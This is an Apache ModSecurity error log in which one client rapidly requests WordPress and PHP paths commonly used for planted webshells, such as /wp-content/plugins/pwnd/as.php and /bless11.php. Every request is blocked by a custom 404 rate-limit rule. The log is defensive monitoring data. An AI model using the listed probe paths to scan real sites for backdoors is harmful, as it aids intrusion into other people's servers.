[Fri Feb 13 00:18:12.264021 2026] [:error] [pid 63418:tid 63488] [client 20.215.189.110:38983] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aY39RNzjh-bbJnStPZIakwAAAIw"]
[Fri Feb 13 00:18:13.369284 2026] [:error] [pid 46718:tid 46742] [client 20.215.189.110:17502] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aY39RUdfX45LelQwruRnqQAAAdU"]
[Fri Feb 13 00:18:14.088621 2026] [:error] [pid 63418:tid 63493] [client 20.215.189.110:17488] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aY39Rtzjh-bbJnStPZIalwAAAJE"]
[Fri Feb 13 00:18:14.696091 2026] [:error] [pid 63416:tid 63435] [client 20.215.189.110:20025] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aY39Rr2wmecPaCHcM2_4IQAAAY4"]
[Fri Feb 13 00:18:16.041247 2026] [:error] [pid 65064:tid 65081] [client 20.215.189.110:43950] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aY39SBOvRgscTcqsMBkzmAAAAM4"]
[Fri Feb 13 00:18:17.188219 2026] [:error] [pid 46603:tid 46614] [client 20.215.189.110:20028] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aY39SfEi6O39v05JNJeylwAAAQk"]
[Fri Feb 13 00:18:18.406270 2026] [:error] [pid 46718:tid 46742] [client 20.215.189.110:14373] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aY39SkdfX45LelQwruRnsgAAAdU"]
[Fri Feb 13 00:18:19.240884 2026] [:error] [pid 46603:tid 46611] [client 20.215.189.110:32555] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aY39S_Ei6O39v05JNJeymgAAAQY"]
[Fri Feb 13 00:18:19.921986 2026] [:error] [pid 63418:tid 63500] [client 20.215.189.110:14986] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aY39S9zjh-bbJnStPZIamwAAAJg"]
[Fri Feb 13 00:18:20.573531 2026] [:error] [pid 46718:tid 46725] [client 20.215.189.110:27439] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aY39TEdfX45LelQwruRntAAAAcQ"]
[Fri Feb 13 00:18:21.272090 2026] [:error] [pid 63511:tid 63518] [client 20.215.189.110:27926] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aY39TaQCQbD5BgeyIk1THAAAAAU"]
[Fri Feb 13 00:18:21.965478 2026] [:error] [pid 46603:tid 46612] [client 20.215.189.110:22502] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aY39TfEi6O39v05JNJeynwAAAQc"]
[Fri Feb 13 00:18:22.597863 2026] [:error] [pid 46675:tid 46684] [client 20.215.189.110:43626] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aY39TjuaQILPonWFiQmmsQAAAUY"]
[Fri Feb 13 00:18:23.299341 2026] [:error] [pid 46718:tid 46740] [client 20.215.189.110:32573] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aY39T0dfX45LelQwruRntgAAAdM"]
[Fri Feb 13 00:18:23.876478 2026] [:error] [pid 63417:tid 63460] [client 20.215.189.110:14354] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aY39T_8gSb97qRMtXCIgAgAAAEs"]
[Fri Feb 13 00:18:24.916962 2026] [:error] [pid 46675:tid 46692] [client 20.215.189.110:20770] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aY39UDuaQILPonWFiQmmtQAAAU4"]
[Fri Feb 13 00:18:25.608663 2026] [:error] [pid 46718:tid 46734] [client 20.215.189.110:12733] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs18.php"] [unique_id "aY39UUdfX45LelQwruRnugAAAc0"]
[Fri Feb 13 00:18:26.150228 2026] [:error] [pid 63416:tid 63439] [client 20.215.189.110:26485] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs18.php"] [unique_id "aY39Ur2wmecPaCHcM2_4JwAAAZI"]
[Fri Feb 13 00:18:26.827352 2026] [:error] [pid 63418:tid 63480] [client 20.215.189.110:8548] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs18.php"] [unique_id "aY39Utzjh-bbJnStPZIaqAAAAIQ"]
[Fri Feb 13 00:18:27.519456 2026] [:error] [pid 63418:tid 63495] [client 20.215.189.110:35976] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blurbs18.php"] [unique_id "aY39U9zjh-bbJnStPZIaqgAAAJM"]
[Fri Feb 13 00:18:28.134951 2026] [:error] [pid 46718:tid 46723] [client 20.215.189.110:26467] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aY39VEdfX45LelQwruRnvgAAAcI"]
[Fri Feb 13 00:18:29.048567 2026] [:error] [pid 63418:tid 63481] [client 20.215.189.110:26448] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aY39Vdzjh-bbJnStPZIarwAAAIU"]
[Fri Feb 13 00:18:29.809485 2026] [:error] [pid 46718:tid 46735] [client 20.215.189.110:26486] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aY39VUdfX45LelQwruRnwgAAAc4"]
[Fri Feb 13 00:18:30.443458 2026] [:error] [pid 63417:tid 63452] [client 20.215.189.110:35985] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aY39Vv8gSb97qRMtXCIgDgAAAEM"]
[Fri Feb 13 00:18:31.405101 2026] [:error] [pid 63417:tid 63461] [client 20.215.189.110:7497] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aY39V_8gSb97qRMtXCIgDwAAAEw"]
[Fri Feb 13 00:18:32.222840 2026] [:error] [pid 46718:tid 46733] [client 20.215.189.110:27923] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aY39WEdfX45LelQwruRnyQAAAcw"]
[Fri Feb 13 00:18:32.965049 2026] [:error] [pid 65064:tid 65084] [client 20.215.189.110:18252] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aY39WBOvRgscTcqsMBkzsgAAANE"]
[Fri Feb 13 00:18:33.527845 2026] [:error] [pid 46603:tid 46612] [client 20.215.189.110:5121] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aY39WfEi6O39v05JNJeyuwAAAQc"]
[Fri Feb 13 00:18:34.201187 2026] [:error] [pid 46675:tid 46680] [client 20.215.189.110:42622] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aY39WjuaQILPonWFiQmmxAAAAUI"]
[Fri Feb 13 00:18:35.220599 2026] [:error] [pid 46718:tid 46735] [client 20.215.189.110:9780] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aY39W0dfX45LelQwruRnzQAAAc4"]
[Fri Feb 13 00:18:35.924916 2026] [:error] [pid 46675:tid 46684] [client 20.215.189.110:7512] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aY39WzuaQILPonWFiQmmyQAAAUY"]
[Fri Feb 13 00:18:36.756365 2026] [:error] [pid 63417:tid 63473] [client 20.215.189.110:18301] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aY39XP8gSb97qRMtXCIgFgAAAFg"]
[Fri Feb 13 00:18:37.522461 2026] [:error] [pid 46718:tid 46733] [client 20.215.189.110:11595] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aY39XUdfX45LelQwruRn0QAAAcw"]
[Fri Feb 13 00:18:38.316425 2026] [:error] [pid 63417:tid 63468] [client 20.215.189.110:11844] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aY39Xv8gSb97qRMtXCIgGAAAAFM"]
[Fri Feb 13 00:18:39.215433 2026] [:error] [pid 65064:tid 65067] [client 20.215.189.110:5167] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aY39XxOvRgscTcqsMBkzuQAAAMA"]
[Fri Feb 13 00:18:39.764434 2026] [:error] [pid 63417:tid 63450] [client 20.215.189.110:5129] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aY39X_8gSb97qRMtXCIgGwAAAEE"]
[Fri Feb 13 00:18:40.448602 2026] [:error] [pid 63418:tid 63478] [client 20.215.189.110:35974] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aY39YNzjh-bbJnStPZIaswAAAII"]
[Fri Feb 13 00:18:41.214675 2026] [:error] [pid 63417:tid 63463] [client 20.215.189.110:18251] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aY39Yf8gSb97qRMtXCIgHAAAAE4"]
[Fri Feb 13 00:18:41.926310 2026] [:error] [pid 63418:tid 63484] [client 20.215.189.110:42588] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aY39Ydzjh-bbJnStPZIatQAAAIg"]
[Fri Feb 13 00:18:42.496611 2026] [:error] [pid 63511:tid 63532] [client 20.215.189.110:35996] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aY39YqQCQbD5BgeyIk1TMAAAABM"]
[Fri Feb 13 00:18:43.212284 2026] [:error] [pid 63418:tid 63479] [client 20.215.189.110:5699] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aY39Y9zjh-bbJnStPZIatgAAAIM"]
[Fri Feb 13 00:18:43.794122 2026] [:error] [pid 63417:tid 63470] [client 20.215.189.110:8517] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aY39Y_8gSb97qRMtXCIgIAAAAFU"]
[Fri Feb 13 00:18:44.413504 2026] [:error] [pid 46718:tid 46727] [client 20.215.189.110:20797] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aY39ZEdfX45LelQwruRn3AAAAcY"]
[Fri Feb 13 00:18:45.028013 2026] [:error] [pid 63417:tid 63460] [client 20.215.189.110:7511] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aY39Zf8gSb97qRMtXCIgIgAAAEs"]
[Fri Feb 13 00:18:45.672900 2026] [:error] [pid 63511:tid 63525] [client 20.215.189.110:12225] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aY39ZaQCQbD5BgeyIk1TMgAAAAw"]
[Fri Feb 13 00:18:46.224944 2026] [:error] [pid 63417:tid 63472] [client 20.215.189.110:14378] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aY39Zv8gSb97qRMtXCIgIwAAAFc"]
[Fri Feb 13 00:18:46.825528 2026] [:error] [pid 46603:tid 46607] [client 20.215.189.110:14394] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aY39ZvEi6O39v05JNJey2AAAAQI"]
[Fri Feb 13 00:18:47.519385 2026] [:error] [pid 63511:tid 63519] [client 20.215.189.110:43618] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aY39Z6QCQbD5BgeyIk1TNAAAAAY"]
[Fri Feb 13 00:18:48.154668 2026] [:error] [pid 46718:tid 46736] [client 20.215.189.110:14395] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aY39aEdfX45LelQwruRn5QAAAc8"]
[Fri Feb 13 00:18:48.799020 2026] [:error] [pid 65064:tid 65074] [client 20.215.189.110:5170] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aY39aBOvRgscTcqsMBkzwAAAAMc"]
[Fri Feb 13 00:18:49.472180 2026] [:error] [pid 46675:tid 46691] [client 20.215.189.110:5127] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aY39aTuaQILPonWFiQmm1gAAAU0"]
[Fri Feb 13 00:18:50.220791 2026] [:error] [pid 65064:tid 65080] [client 20.215.189.110:14066] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aY39ahOvRgscTcqsMBkzxQAAAM0"]
[Fri Feb 13 00:18:51.176387 2026] [:error] [pid 63417:tid 63467] [client 20.215.189.110:22511] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aY39a_8gSb97qRMtXCIgKgAAAFI"]
[Fri Feb 13 00:18:51.800838 2026] [:error] [pid 46603:tid 46617] [client 20.215.189.110:32512] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aY39a_Ei6O39v05JNJey2QAAAQw"]
[Fri Feb 13 00:18:52.770842 2026] [:error] [pid 65064:tid 65085] [client 20.215.189.110:12265] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aY39bBOvRgscTcqsMBkzxwAAANI"]
[Fri Feb 13 00:18:53.378245 2026] [:error] [pid 46675:tid 46687] [client 20.215.189.110:27936] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aY39bTuaQILPonWFiQmm2QAAAUk"]
